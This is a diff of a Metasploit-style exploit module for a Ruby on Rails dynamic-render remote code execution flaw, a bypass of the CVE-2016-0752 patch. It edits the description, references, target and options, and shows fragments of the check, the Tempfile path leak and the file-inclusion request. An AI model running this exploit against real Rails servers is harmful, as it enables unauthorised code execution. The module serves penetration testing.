@@ -14,19 +14,20 @@ def initialize(info = {})
14
14
'Description' => %q{
15
15
This module exploits a remote code execution vulnerability in the explicit render
16
16
method when leveraging user parameters.
17
-
18
- This module has been tested across multiple versions of RoR including the latest
19
- 5.0.0.1 - August 10, 2016. The technique used by this module requires the specified
17
+ This module has been tested across multiple versions of Ruby on Rails.
18
+ The technique used by this module requires the specified
20
19
endpoint to be using dynamic render paths, such as the following example:
21
20
22
21
def show
23
22
render params[:id]
24
23
end
25
24
26
25
Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
27
- can literrally be any endpoint. This module bypasses the patch for CVE-2016-0752
28
- which, afaik, prevented the exploitation of development.log. Finally, you only get
29
- one shot at this if you are testing with the buildin rails server, use caution.
26
+ can literally be any endpoint. This module doesnt use the log inclusion method of
27
+ exploitation due to it not being universal enough. Instead, a new code injection
28
+ technique was found and used whereby an attacker can upload temporary image files
29
+ against any POST endpoint and use them for the inclusion attack. Finally, you only
30
+ get one shot at this if you are testing with the builtin rails server, use caution.
30
31
} ,
31
32
'Author' =>
32
33
[
@@ -35,9 +36,10 @@ def show
35
36
] ,
36
37
'References' =>
37
38
[
38
- [ 'URL' , 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00' ] , # failed patch
39
+ [ 'CVE' , '2016-0752' ] ,
40
+ [ 'URL' , 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00' ] , # rails patch
39
41
[ 'URL' , 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/' ] , # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
40
- [ 'URL' , 'https://gist.github.com/forced-request/5158759a6418e6376afb' ] , # John's exploit
42
+ [ 'URL' , 'https://gist.github.com/forced-request/5158759a6418e6376afb' ] , # John's original exploit
41
43
] ,
42
44
'License' => MSF_LICENSE ,
43
45
'Platform' => [ 'linux' , 'bsd' ] ,
@@ -49,14 +51,14 @@ def show
49
51
'Privileged' => false ,
50
52
'Targets' =>
51
53
[
52
- [ 'Ruby on Rails 5 .0.0.1 ' , { } ]
54
+ [ 'Ruby on Rails 4 .0.8 July 2, 2014 ' , { } ] # Other versions are also affected
53
55
] ,
54
56
'DefaultTarget' => 0 ,
55
- 'DisclosureDate' => 'Oct 1 2016' ) )
57
+ 'DisclosureDate' => 'Oct 16 2016' ) )
56
58
register_options (
57
59
[
58
60
Opt ::RPORT ( 3000 ) ,
59
- OptString . new ( 'URIPATH' , [ true , 'The path to the vulnerable route' , "/wae " ] ) ,
61
+ OptString . new ( 'URIPATH' , [ true , 'The path to the vulnerable route' , "/users " ] ) ,
60
62
OptPort . new ( 'SRVPORT' , [ true , 'The daemon port to listen on' , 1337 ] ) ,
61
63
] , self . class )
62
64
end
@@ -73,8 +75,8 @@ def check
73
75
if res and res . body =~ /render params/
74
76
return Exploit ::CheckCode ::Vulnerable
75
77
end
76
-
77
- # this is the check for the prod environment
78
+
79
+ # this is the check for the prod environment
78
80
res = send_request_cgi ( {
79
81
'uri' => normalize_uri ( datastore [ 'URIPATH' ] , "%2fproc%2fself%2fcomm" ) ,
80
82
'method' => 'GET' ,
@@ -123,7 +125,7 @@ def send_payload
123
125
return true
124
126
else
125
127
126
- # thsi is where we pull the log file
128
+ # this is where we pull the log file
127
129
if leak_log
128
130
return true
129
131
end
@@ -142,10 +144,9 @@ def leak_log
142
144
143
145
if res and res . code == 200 and res . body =~ /Tempfile:\/ (.*)>, @original_filename=/
144
146
@path = "#{ $1} " if res . body =~ /Tempfile:\/ (.*)>, @original_filename=/
145
- true
146
- else
147
- false
147
+ return true
148
148
end
149
+ return false
149
150
end
150
151
151
152
def start_http_server
@@ -177,7 +178,7 @@ def start_http_server
177
178
connect
178
179
end
179
180
180
- def render_image
181
+ def render_tmpfile
181
182
@path . gsub! ( /\/ / , '%2f' )
182
183
res = send_request_cgi ( {
183
184
'uri' => normalize_uri ( datastore [ 'URIPATH' ] , @path ) ,
@@ -190,7 +191,7 @@ def exploit
190
191
start_http_server
191
192
if send_payload
192
193
print_good ( "injected payload" )
193
- render_image
194
+ render_tmpfile
194
195
195
196
# we need to delay, for the stager
196
197
select ( nil , nil , nil , 5 )
0 commit comments